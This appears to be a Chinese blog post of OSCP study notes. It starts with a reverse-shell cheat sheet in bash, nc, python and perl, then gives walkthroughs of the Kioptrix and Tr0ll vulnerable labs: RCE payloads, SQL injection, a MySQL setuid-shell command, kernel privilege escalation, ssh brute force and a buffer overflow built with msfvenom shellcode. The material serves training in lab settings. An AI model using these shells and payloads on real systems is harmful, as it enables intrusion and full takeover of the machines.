OSCP - 基础篇

OSCP基础篇
基本更新完了,除了Troll2的提权部分🤣

第一课: 反弹shell + 工具

bash

无交互(反向)
监听机:nc -nlvp [监听端口号] / 或者MSF multi handler
目标机:bash -i >& /dev/tcp/[ip]/[监听机端口号] >&1 或者 bash -i >& /dev/tcp/[ip]/[监听机端口号] 0>&1
或者
nc -e /bin/bash [ip] [监听机端口号]
(正向弹shell)
监听机:nc [ip] [端口] / 或者MSF multi handler
目标机:nc -lvp [端口] -e /bin/bash

python反弹shell

有交互
监听机:nc -nlvp [监听端口号] / 或者MSF multi handler
目标机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ip]",[监听端口号]]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

perl反弹shell

监听机:nc -nlvp [监听端口号] / 或者MSF multi handler
目标机:perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"IP地址:端口号");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

或者
perl -e 'use Socket;$i="ip地址";$p=端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

TTY shell

有交互
监听机:MSF multi handler控制台
有时得到的shell并不是tty shell(非全交互)
目标机:python -c 'import pty; pty.spawn("/bin/sh");' 或者 /bin/sh -i或者python -c 'import pty; pty.spawn("/bin/bash");'

netdiscover

网络发现工具,netdiscover -i [网卡]

nmap

扫描器

nikto

开源的web程序漏洞扫描器

dirb

枚举web目录

msfcosole

不用多说了这个

burp suite

更不用说了,网站渗透必备神器

搜索文件内容命令

find / -maxdepth [最大目录搜索深度] -name [文件名] -type f -exec grep -Hn [搜索关键字] {} \; 2>/dev/null

第二课 & 第三课

下载并VM上安装Kali和Vulnerable Lab(这都不会还考个鸡儿OSCP。搞技术也就图一乐,赶紧的找个电子厂上班)

第四课:Kioptrix Level 1 - Enumeration and Exploitation:SMB利用

首先来到Kali,运行net discover -i [网卡设备]进行网络发现

再使用nmap -p- -A [IP地址]进行主机扫描,得到结果:在这个靶机中,位于139端口的samba是利用点

msfconsole来到MSF,search scanner/smb找到扫描器,扫描主机,得到SMB的版本,搜索可知该版本存在远程命令执行漏洞

下载该源码gcc [源码文件] -o [输出文件]命令进行编译,得到一个文件,执行得到如下提示,执行命令后得到靶机的shell

执行/bin/bash -i得到交互式TTY shell

第五课:Kioptrix Level 2 - Enumeration and Exploitation:简单SQL注射 + 命令注射 + OS提权

(使用update-alternatives --config java命令调整java版本)

SQL注射

首先进行网络发现,再扫描,得到结果:再这个靶机中,有个80端口开了,就是个SQL,以前的实战讲过的(生产环境:会员卡系统SQL注射),php判断SQL注射单引号双引号不行就引入逻辑运算,不详细讲了


进去之后是个ping主机的界面

命令注射getshell

作为黑客,肯定是不能有局限思维的;既然看到ping,那肯定要试试命令注射

根据第一节课的知识拿shell:bash -i >& /dev/tcp/[ip]/[监听机端口号] 0>&1

提权

拿到shell之后,提权,uname -a查看内核版本,lsb_release -a查看发行版,可以得到靶机的操作系统是CentOS 4.5, 内核版本是2.6.9,一通搜索发现有提权漏洞,下载利用代码1下载利用代码2并保存成.c文件

现在把源码文件放到kali的web目录下并启动apache2

回到刚才拿到的靶机shell,先切换到tmp目录,再执行wget命令把源码文件从kali上下载到靶机,gcc命令编译,chmod +x命令赋予编译后的文件执行权限,最后执行,一个不行就另一个,最后root权限到手

第六课:Kioptrix Level 3 - Enumeration and Exploitation:dirb使用 + LotusCMS漏洞利用 + SQL注射 + OS提权

首先用netdiscover发现主机,再用nmap扫描主机,发现只有22和80端口是打开的,22端口暂无利用漏洞,就看web服务有什么利用点

来到这个界面,通过观察和大致浏览可以得出这个是个LotusCMS 3.0

RCE - 远程命令执行

通过搜索可以知道这个版本存在远程命令执行,POST方式提交payload:page=index');${php代码};#

MSF漏洞利用失败,原因是没有足够的权限写入到当前目录

SQL注射

在gallery这个地方发现SQL注射,这次经历再次告诉我们,功能要一个个点,有注射就SQLMAP一下,得到用户名和密码



从前面的信息可以得知整个web目录只能是root可写,现在得到了2个开发账户,尝试ssh,可登录成功

提权

ls -la命令能看到有个CompanyPolicy.README文件,阅读后得知可以可以使用sudo ht命令进行编辑、创建和查看文件并且ht文件是具备suid权限的。这里一开始执行ht会有个“Error opening terminal: xterm-256color.”报错,需要在.profile文件里添加一行“export TERM=xterm”,命令echo "export TERM=xterm" >> .profile,然后重启terminal
ht编辑器编辑sudoer文件根本不好用,编辑不了文件,搞不好这个原本就是个GUI工具

使用linux exploit suggester发现dirtycow提权漏洞,搜索之发现有2个提权可用。果断使用最新版本dirtycow 2,上传源码到/tmp目录,按exp的编译指引使用gcc进行编译,执行

执行后得到新的账户firefart,登陆新的账户,可见已得到root权限

第七课:Kioptrix Level 4 - Enumeration and Exploitation:dirb信息收集 + SQL注射 + MySQL提权

首先用netdiscover发现主机,再用nmap扫描主机,发现22、80端、139、445口是打开的,22端口和139暂无利用漏洞

信息泄漏

尝试使用enum4linux枚举关键信息无果,dirb发现有敏感目录


SQL注射

先访问web,看到有登陆页面,john目录有浏览,john.php跳转到登录页,判断有登陆,登录页尝试SQL注射,根据提示调整用户名后继续进行SQL注射,最后得到密码

MySQL提权

根据在web界面得到的密码进行ssh登陆,登陆成功,可以看到能执行的命令有限制

这里能看到有echo命令,用echo os.system('/bin/bash')绕过限制,得到一个交互式shell

稍微看了下没什么信息,于是使用搜索文件内容命令进行搜索,发现MySQL空口令

ps命令查看MySQL运行权限,发现以root权限运行,select * from mysql.func;命令查看能执行系统命令,遂将/bin/sh复制到/tmp下并赋予该shell执行时具有root权限(MySQL命令:select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh');

提权成功

第八课:Kioptrix Level 5 - Enumeration and Exploitation:CMS漏洞(目录遍历+命令执行+文件操作)+ OS提权

研究了一段时间才拿到root权限,难点在于反弹shell
首先还是发现主机+扫描:FreeBSD + Apache,只有80和8080端口运行http服务,只能从web下手
8080端口从nmap的扫描结果可得直接访问会得到403状态码:禁止访问

Web程序的突破

首先肯定是浏览器访问,80端口有显示内容,8080端口显示无权(扫描器已经给出了)

因为只能从web程序下手,先查看源代码,发现一个链接被注释了,复制访问,发现web程序是pChart2.1.3

搜索引擎一通搜索发现这个版本的程序有任意文件读取漏洞

利用之,读取/etc/passwd和Apache配置文件(自行搜索不同OS下的Apache配置文件路径),发现8080端口对HTTP请求中的User-Agent有要求

果断打开BurpSuite并开启HTTP头字段自动替换并访问,得到以下目录和页面

再次搜索引擎一通搜索,发现这个web程序存在RCE和任意文件写入漏洞

远程命令执行成功

反弹shell(这才是难点,各种尝试研究花了一段时间)

既然能执行命令,肯定要反弹shell,能执行命令但是都反弹不回一个shell,这就尴尬了

然后又仔细研究了一下,可以通过管道符获得命令执行的回显,这里执行pwd命令就在监听上得到了当前路径,但是利用价值不大,因为还是没拿到反弹shell

那就先用任意文件写入漏洞先写入一个webshell,执行phpinfo(); 【这里都试过了,各种反弹shell的命令都不行,就是没法反弹拿到一个shell】

用中国蚁剑连接这个webshell(需要设置HTTP头的User-Agent,要不然403),看看有什么东西可以利用的,aslistcmd看看上面能跑什么shell【这里面也试过了,博主能想到的反弹shell命令都试过了,没一个行的,真让人头大】

上传一个php的meterpreter shell,成功,一番尝试后,作用不大

突然想起来以前博主自己写过2个perl的反弹shell脚本(一个是/bin/bash,一个是/bin/sh,上面用webshell查看了目标机器支持的只有/bin/sh),试一试,成功拿到交互shell,权限是80(www)

提权

搜索引擎搜素发现FreeBSD9.0存在本地提权漏洞,思路:上传源码+编译+执行,最后拿到root权限
蚁剑上传源码到/tmp目录下

回到刚才拿到的shell,切换到/tmp目录下,gcc编译后执行,成功得到root权限

第九课:Tr0ll1 - Enumeration and Exploitation:ftp匿名登陆 + web服务器信息泄漏 + ssh爆破 + 本地提权

首先还是发现主机+扫描:Ubuntu主机,FTP匿名登陆,ssh,HTTP服务

web访问就一图片,源码也没什么东西

FTP匿名登陆

扫描器显示ftp存在匿名登陆【用户密码都是anonymous】,登陆之,查看有个文件,先下载回来看看是个什么东西

cat命令查看了一下,带乱码;一通搜索后发现是个网络数据抓包保存后的文件

tcpdump -nnnnttAr [文件名] | less -Sr命令查看数据包,发现21端口的通讯数据包,易得ftp传输数据为明文可以直接阅读,遂一行一行阅读,过程中发现传输了一个名为secret_stuff.txt的文件,逐个跟踪后发现给文件的内容出现在数据包中,翻译过来是“超级神秘的目录哈哈哈”

ftp转到http

既然是超级神秘的目录,ftp里面也没看见这个目录,那就先转到web看看有什么东西;这是个目录,里面有个文件,下载回来看看是什么东西

cat命令查看包含乱码,遂用file命令查看,是个可执行文件;仔细观察能发现,这里面有一明文Find address 0x0856BF to proceed,推测是另一web目录,执行之后输出结果是一样的


拼接URL访问,发现有2个目录,点进去后发现各有一个txt文件,貌似放着用户名和密码

ssh爆破

保存了用户和密码列表之后呢,就开始用hydra爆破ssh了,这一看就不好玩了,没一个能进去的,最后还拒绝链接,有点百思不得其解

趁着这段时间,博主稍微换了个思路,会不会这个玩意把文件名当密码了?于是就试了一下,密码是“Pass.txt”,这种情况也是很无语了🙃

提权

ssh登陆之,uname -alsb_release -a命令查看系统内核和版本号,搜索引擎一通搜索发现有提权漏洞


源码保存到kali的web目录,目标机上使用wget命令下载文件到/tmp目录,gcc编译源码,执行,成功取得root权限

第十课:Tr0ll2 - Enumeration and Exploitation:

首先还是发现主机+扫描:Ubuntu1.4/Debian5,只开放了ftp,ssh和web服务,一眼看上去没什么利用点

先看看web,是个图片,源码显示了作者的名字,想想可能是用户名密码相关的线索

ftp & ssh

试试ssh和ftp:ftp通过用户名密码“Tr0ll”进去了,发现一个文件,下载回本地;ssh用同样的用户名和密码登陆成功不过秒退。压缩文件密码尝试无效

dirb扫描web目录,找到robots目录和文件(内容都是一样的)


一个个目录试,遇到网页就查看源码(404的就不放出来了)【可以把这个robots.txt的内容复制下来,用BP或者dirb自动测试得出结果会更快】,最终得到4张图



藏在图片里的线索

一番思索之后,线索应该在图片里面,下载后查看文件信息发现一个文件的大小有点不一样,strings命令查看有什么不同,查看后能发现最后一行是个目录名


web目录访问一下,是个巨大的txt文件,里面可能是zip文件的密码,保存之

看了一眼应该是base64编码,base64 --decode [输入文件名] | sort | uniq > [输出文件名]命令解码看看是什么东西

fcreakzip暴力破解zip密码

既然已经有了解码后的文件和未知密码的压缩包,尝试使用命令fcreakzip -u -D -p [密码字典文件] [zip压缩包]暴力破解压缩包密码。最后得到密码并解压,得到一个noob文件

ssh登陆 + 命令执行

通过file [文件名]可以得知这是一个PEM PSA私钥文件,应该是用于ssh登陆的私钥。前面博主尝试了用户名Troll。这次根据文件名猜测用户名是noob,尝试结果如下:输出一段文字之后ssh连接就关闭了

使用ssh命令的-vv选项后能看见调试信息;这里发现在输出文字之前,有个Remote: Froced Command,搜索一通后发现这可能是个利用点

利用EXP/POC:ssh user@host '() { :;}; echo 恶意代码',验证一下,的确执行了echo命令


利用命令执行漏洞获取了一个交互式shell,权限为noob(1002)

二进制题目??

进去后一通查看,发现一个nothing_to_see_here目录,这个目录下有一个choose_wisely目录;这下面还有3个目录:door1door2door3;这3个目录下都有一个叫r00t的可执行文件,一个个试,有一个是运行完就断开会话,一个是限制使用ls命令2分钟,最后的是存溢出的程序(用于提权的)

这里先用MSF的pattern_create模块先搞个1000长度的字符串,然后传入到存在漏洞的文件的参数里,发现有错误提示,应该是程序崩了

gdb调试

gdb [文件]进行调试程序,执行完后,输入r [要传入的参数],这里要传入的参数是上一步用MSF模块生成的1000长度的字符串;执行完程序后发现有个有个输出Segmentation fault(分段故障,内存空间分配出来就是一段段的,那就是内存溢出了),还有一个类似于内存地址的0x6a413969

找到pattern_offset模块,把得到的类似于内存地址的东西传过去,得到准确的偏移是268,想办法控制ESP就能控制程序流程

通过命令r $(python -c 'print "A"*268 + "b"*4')传入268个A再加4个B的参数,出来的返回地址就是0x424242,刚好就是B的编码,也就是EBP被覆盖了,由此可以判定可以通过溢出来取得root权限

quit退出当前gdb调试,再使用env - gdb [要调试的文件]进入调试模式,show env命令查看环境变量,最后用unset env [变量名]清除指定变量,这里2个变量都要清除

用命令r $(python -c 'print "A"*268 + "B"*4 + "\x90"*16 + "C"*100')传入参数,得到内存崩溃的结果,命令info registers查看内存堆栈情况;这里能看到EBP,EBP是在函数调用结束后的程序返回地址(也就是上一个内存栈帧的顶,当前内存栈帧的底),只要控制了返回地址就可以执行任意shellcode,这里能看见EBP的值是

先用msfvenom生成shellcode:msfvenom --platform linux -p linux/x86/exec -f py CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86 -e x86/shikata_ga_nai

再把这个shellcode处理一下,变成一行

最后的带shellcode的传入参数是:"A"*268 + [ESP地址,反转的] + "\0x90"*16 + shellcode;这里为什么要把ESP地址反转,因为调试器给出的是内存的数值数据,而真实内存数据在寄存器里是反过来的(博主对这个了解得不太多)

提权

这个部分,博主试过很多次了,就是不行,暂时放下了,尽力了🤣
因为按照上面的操作之后,shellcode应该是能执行并且返回一个root权限的shell,但实际结果就是提示无效参数,中间的覆盖地址也通过调试器的提示改过很多次了

第十一课:

后面的全是防御课程了😅